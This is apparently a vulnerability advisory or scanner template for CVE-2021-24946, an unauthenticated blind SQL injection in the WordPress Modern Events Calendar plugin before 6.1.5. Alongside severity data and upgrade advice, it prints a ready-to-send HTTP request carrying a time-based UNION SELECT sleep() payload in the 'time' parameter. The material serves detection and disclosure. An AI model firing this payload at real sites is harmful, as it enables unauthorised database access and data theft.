| Title | WordPress Modern Events Calendar <6.1.5 - Blind SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database. |
| Remediation | Upgrade to WordPress Modern Events Calendar version 6.1.5 or later to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.60622 |
| CVE ID | CVE-2021-24946 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve2021 cve sqli packetstorm wp wp-plugin unauth wpscan modern-events-calendar-lite wordpress webnus vkev vuln |
WordPress Modern Events Calendar plugin before 6.1.5 is susceptible to blind SQL injection. The plugin does not sanitize and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
GET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/14.0
Connection: close
Accept-Encoding: gzip
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